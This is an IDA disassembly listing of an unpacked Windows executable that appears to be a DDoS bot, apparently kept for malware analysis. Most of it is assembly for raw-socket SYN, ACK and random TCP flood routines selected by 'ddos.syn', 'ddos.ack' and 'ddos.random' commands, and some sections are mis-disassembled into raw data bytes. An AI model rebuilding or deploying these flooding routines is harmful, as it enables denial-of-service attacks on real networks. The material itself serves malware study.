;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D4F96746B1FD46AC2BC63021E4BAA874

; File Name   :	u:\work\d4f96746b1fd46ac2bc63021e4baa874_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00080000 ( 524288.)
; Section size in file		: 00080000 ( 524288.)
; Offset to raw	data for section: 00001000
; Flags	F0000040: Data Shareable Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: start+272j
					; DATA XREF: .nsp0:0040D800o ...

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_41F040
		push	eax
		call	sub_411EEE
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40F9F1
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_408E17
		push	[ebp+var_290]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		test	eax, 8B555E5Fh	; CODE XREF: sub_4013E9+40p
sub_401000	endp ; sp-analysis failed

		in	al, dx
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	dword_433A40	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: .nsp0:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_433B6C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	dword_433AA8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	dword_433AC8	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	dword_433AC8	; ntohs
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	dword_433AC8	; ntohs
		mov	[ebp-12h], ax
		call	sub_411F4A
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_433AC8	; ntohs
		push	12345678h
		mov	[ebp-14h], ax
		call	dword_433AC4	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: .nsp0:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: .nsp0:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_411F4A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_411F4A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: .nsp0:004011C0j
					; .nsp0:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	dword_433AC8	; ntohs
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 0AB0000h
		cmpsb
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0AB0000h
		push	ebp
		push	dword ptr [ebp-44h]
		mov	eax, [ebp+18h]
		cdq
		push	dword ptr [ebp-48h]
		push	edx
		push	eax
		call	sub_4123A0
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx
		mov	[ebp-4], bx
		call	sub_411F4A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_433AC8	; ntohs
		mov	[ebp-14h], ax
		call	sub_411F4A
		mov	edi, eax
		shl	edi, 10h
		call	sub_411F4A
		or	edi, eax
		push	edi
		call	dword_433AC8	; ntohs
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	dword_433AC4	; ntohl
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	dword_433AC8	; ntohs
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411FD0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_411FD0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40809E
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411FD0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411FD0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_411F70
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40809E
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411FD0
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	dword_433B2C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0AB0000h
		or	ecx, [ebx+453BE845h]
		enter	3C7Fh, 0Fh
		mov	edx, cs
; ---------------------------------------------------------------------------
		db 0FEh
		dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: .nsp0:0040137Dj
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset unk_41F07C
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_408E17
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: .nsp0:0040112Aj
					; .nsp0:004013CEj
		push	dword ptr [ebp-20h]
		call	dword_433B60	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: .nsp0:0040110Dj
		call	dword_433A28	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: .nsp0:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_407F2F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41245F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41245F
		mov	edi, eax
		call	sub_411F4A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	near ptr loc_4010AF+3
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: .nsp0:0040D9E8o
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_433B48	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_4014E1+1
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_41F21C
		push	eax
		call	sub_411EEE
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_40F9F1
		add	esp, 14h


loc_4014C5:				; CODE XREF: .nsp0:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-38h]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0AB0000h


loc_4014E1:				; CODE XREF: .nsp0:00401481j
		mov	cl, 8Dh
		dec	ebp
		hlt
; ---------------------------------------------------------------------------
		db 6Ah,	4, 51h
		dd 26AFF33h, 5D895057h,	0A815FFF4h, 8300433Ah, 5D75FFF8h
		dd 3A5C15FFh, 8D500043h, 0FFFC4485h, 0F1D068FFh, 0E8500041h
		dd 109DAh, 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh
		dd 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0E4B8E8h
		dd 14C48300h, 0FC44858Dh, 0E850FFFFh, 78CFh, 0E8C875FFh
		dd 10766h, 0E8575959h, 6AEAA8h,	48858DB2h, 50FFFFFEh, 3B0815FFh
		dd 0F8830043h, 8D5575FFh, 0FFFC4485h, 0F19C68FFh, 0E8500041h
		dd 10972h, 59DC7D39h, 57207559h, 0FC44858Dh, 75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0E451h
		dd 8D14C483h, 0FFFC4485h, 68E850FFh, 0FF000078h, 0FFE8C875h
		dd 59000106h, 41E85759h, 0D5006AEAh, 458D106Ah,	0E85057E4h
		dd 109A4h, 660CC483h, 2E445C7h,	15FF5700h, 433AC8h, 0E6458966h
		dd 0FE48858Dh, 0FF50FFFFh, 433B0815h, 48358B00h, 890041D0h
		dd 7D89E845h, 89D6FF08h, 0D6FFF845h, 33F8452Bh,	3E8B9D2h
		dd 0F1F70000h, 0FD0453Bh, 19487h, 41C6800h, 5C60000h, 4322D8h
		dd 0C815FF45h, 3900433Ah, 0A366D47Dh, 4322DAh, 0DC1D8966h
		dd 66004322h, 22DE3D89h, 5C60043h, 4322E0h, 0E11D8880h
		dd 66004322h, 22E23D89h, 30740043h, 108F1E8h, 0C1D88B00h
		dd 0E7E808E3h, 3000108h, 8E3C1D8h, 108DDE8h, 0C1D80300h
		dd 0D3E808E3h, 3000108h, 89016AD8h, 4322E41Dh, 18EB5B00h
		dd 0FE44B5FFh, 0B6E8FFFFh, 59000069h, 815FF50h,	0A300433Bh
		dd 4322E4h, 0A3E8458Bh,	4322E8h, 108A1E8h, 0B99900h, 0F7000001h
		dd 0EC1588F9h, 0E8004322h, 1088Eh, 100B999h, 0F9F70000h
		dd 22ED1588h, 7BE80043h, 99000108h, 0F0B9h, 4006800h, 0F9F70000h
		dd 0EE3D8966h, 66004322h, 22F21D89h, 66420043h,	22F01589h
		dd 53E80043h, 99000108h, 0FFB9h, 52F9F700h, 4322F468h
		dd 866E800h, 0C4830001h, 0E4458D0Ch, 5750106Ah,	41C68h
		dd 22D86800h, 75FF0043h, 2C15FFFCh, 8300433Bh, 874FFF8h
		dd 0E90845FFh, 0FFFFFECAh, 0FFFC75FFh, 433B6015h, 5C15FF00h
		dd 5000433Ah, 0FE48858Dh, 75FFFFFFh, 38685008h,	8D0041F1h
		dd 0FFFC4485h, 20068FFh, 0E8500000h, 10D06h, 3918C483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0E268E8h, 14C48300h,	0FC44858Dh
		dd 0E850FFFFh, 767Fh, 0E8C875FFh, 10516h, 0E8575959h, 6AE858h
		dd 0FC75FFCDh, 3B6015FFh, 458B0043h, 6BD23308h,	0C88B3CC0h
		dd 0F70AE8C1h, 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh
		dd 0C8858D50h, 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 500041F0h
		dd 10705E8h, 1CC48300h,	75DC7D39h, 858D5720h, 0FFFFFC44h
		dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0E1E3E8FFh
		dd 0C4830000h, 44858D14h, 50FFFFFCh, 75FAE8h, 0C875FF00h
		dd 10491E8h, 57595900h,	6AE7D3E8h
		db 0, 0C2h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: .nsp0:0040D6F1o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41F264
		push	eax
		call	sub_411EEE
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40F9F1
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_408E17
		push	[ebp+var_10]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		mov	ds:8B555E5Fh, al ; CODE	XREF: sub_401B7C+3Cp
sub_40182E	endp ; sp-analysis failed

		in	al, dx
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	dword_433A40	; WSAStartup
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: .nsp0:00401901j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_433B6C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-0Ch], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp-38h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-38h], edi
		call	dword_433AA8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp-50h]
		push	ebx
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	word ptr [ebp-50h], 2
		push	dword ptr [ebp+10h]
		call	dword_433AC8	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-4Eh], ax
		mov	[ebp-4Ch], esi
		mov	byte ptr [ebp-20h], 45h
		call	dword_433AC8	; ntohs
		push	dword ptr [ebp+10h]
		mov	[ebp-1Eh], ax
		mov	[ebp-1Ch], di
		mov	[ebp-1Ah], bx
		mov	byte ptr [ebp-18h], 80h
		mov	byte ptr [ebp-17h], 6
		mov	[ebp-16h], bx
		mov	[ebp-10h], esi
		call	dword_433AC8	; ntohs
		push	4000h
		mov	[ebp-32h], ax
		mov	[ebp-2Ch], ebx
		mov	byte ptr [ebp-28h], 50h
		mov	byte ptr [ebp-27h], 2
		call	dword_433AC8	; ntohs
		mov	[ebp-26h], ax
		lea	eax, [ebp-40h]
		push	eax
		mov	[ebp-22h], bx
		mov	[ebp+10h], ebx
		call	near ptr 0AB0000h
		stosb
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 0AB0000h
		pop	eax
		push	dword ptr [ebp-3Ch]
		mov	eax, [ebp+14h]
		cdq
		push	dword ptr [ebp-40h]
		push	edx
		push	eax
		call	sub_4123A0
		add	eax, [ebp-8]
		mov	esi, edx
		adc	esi, [ebp-4]
		mov	[ebp-58h], eax


loc_4019F5:				; CODE XREF: .nsp0:00401B27j
					; .nsp0:00401B35j
		mov	[ebp-24h], bx
		call	sub_411F4A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_433AC8	; ntohs
		mov	[ebp-34h], ax
		call	sub_411F4A
		mov	edi, eax
		shl	edi, 10h
		call	sub_411F4A
		or	edi, eax
		push	edi
		call	dword_433AC8	; ntohs
		movzx	eax, ax
		mov	[ebp-30h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	dword_433AC4	; ntohl
		push	14h
		mov	[ebp-14h], eax
		mov	eax, [ebp-10h]
		pop	edi
		push	edi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	dword_433AC8	; ntohs
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-14h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411FD0
		lea	eax, [ebp-34h]
		push	edi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_411FD0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40809E
		mov	[ebp-24h], ax
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411FD0


loc_401AAC:				; CODE XREF: .nsp0:00401B1Fj
		lea	eax, [ebp-34h]
		push	edi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411FD0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_411F70
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40809E
		mov	[ebp-16h], ax
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411FD0
		add	esp, 14h
		lea	eax, [ebp-50h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_433B2C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+10h], eax
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 0AB0000h
		jg	short loc_401AAC
		inc	ebp
		cld
		cmp	eax, esi
		jg	short loc_401B63
		jl	loc_4019F5
		mov	eax, [ebp-8]
		cmp	eax, [ebp-58h]
		jnb	short loc_401B63
		jmp	loc_4019F5
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: .nsp0:00401B11j
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset dword_41F2A0
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_408E17
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------


loc_401B63:				; CODE XREF: .nsp0:00401B25j
					; .nsp0:00401B33j
		mov	ebx, [ebp+10h]


loc_401B66:				; CODE XREF: .nsp0:00401942j
					; .nsp0:00401B61j
		push	dword ptr [ebp-0Ch]
		call	dword_433B60	; closesocket
		pop	esi


loc_401B70:				; CODE XREF: .nsp0:00401925j
		call	dword_433A28	; WSACleanup
		mov	eax, ebx


loc_401B78:				; CODE XREF: .nsp0:00401905j
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_407F2F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41245F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41245F
		mov	edi, eax
		call	sub_411F4A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	near ptr loc_4018C7+3
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401BD6:				; DATA XREF: .nsp0:0040CB40o
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_41D048
		call	edi ; dword_41D048
		push	eax
		call	sub_411F40
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_433B48	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_401C9F
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41F428
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F9F1
		add	esp, 14h


loc_401C7F:				; CODE XREF: .nsp0:00401C5Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-0BCh]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h
		std


loc_401C9F:				; CODE XREF: .nsp0:00401C37j
		lea	ecx, [ebp-34h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi	; CODE XREF: .nsp0:00401D1Cj
		call	dword_433AA8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401D1C+1
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41F3DC
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F9F1
		add	esp, 14h


loc_401CFD:				; CODE XREF: .nsp0:00401CD8j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-0BCh]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h


loc_401D1C:				; CODE XREF: .nsp0:00401CB5j
		jo	short near ptr loc_401CA9+2
		test	eax, esp
		std
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 3B0815FFh, 0F8830043h, 8D5E75FFh, 0FFFBC085h, 0F3A868FFh
		dd 0E8500041h, 101AEh, 0FF589D39h, 5959FFFFh, 8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 0DC87E8FFh, 0C4830000h, 0C0858D14h, 50FFFFFBh
		dd 709EE8h, 44B5FF00h, 0E8FFFFFFh, 0FF32h, 0E8535959h
		dd 6AE274h, 8D106AE1h, 5053BC45h, 101D7E8h, 0CC48300h
		dd 0BC45C766h, 0FF530002h, 433AC815h, 45896600h, 0C4858DBEh
		dd 50FFFFFDh, 3B0815FFh, 45890043h, 85D89C0h, 4589D7FFh
		dd 2BD7FFD0h, 0D233D045h, 3E8B9h, 3BF1F700h, 0FFFF4C85h
		dd 0AA870FFFh, 6A000002h, 0D445C628h, 0C815FF45h, 3900433Ah
		dd 0FFFF509Dh, 458966FFh, 758966D6h, 5D8966D8h,	0DC45C6DAh
		dd 0DD45C680h, 5D896606h, 0E82D74DEh, 1013Ah, 0E6C1F08Bh
		dd 130E808h, 0F0030001h, 0E808E6C1h, 10126h, 0E6C1F003h
		dd 11CE808h, 0F0030001h, 7589016Ah, 16EB5EE0h, 0FDC0B5FFh
		dd 2E8FFFFh, 59000062h,	815FF50h, 8900433Bh, 458BE045h
		dd 489D39C0h, 89FFFFFFh, 1075E445h, 100E9E8h, 1B99900h
		dd 0F7000004h, 6EB52F9h, 0FF48B5FFh, 15FFFFFFh,	433AC8h
		dd 0EA458966h, 100C9E8h, 1B99900h, 0F7000004h, 15FF52F9h
		dd 433AC8h, 34567868h, 45896612h, 0C415FFE8h, 8900433Ah
		dd 858DEC45h, 0FFFFFE44h, 41F3A468h, 0DE85000h,	59000106h
		dd 7459C085h, 0F05D8909h, 2F545C6h, 858D5CEBh, 0FFFFFE44h
		dd 41F3A068h, 0EDE85000h, 59000105h, 7459C085h,	0F05D8909h
		dd 10F545C6h, 858D3CEBh, 0FFFFFE44h, 41F39868h,	0CDE85000h
		dd 59000105h, 7459C085h, 4CE825h, 36A0001h, 0F9F75999h
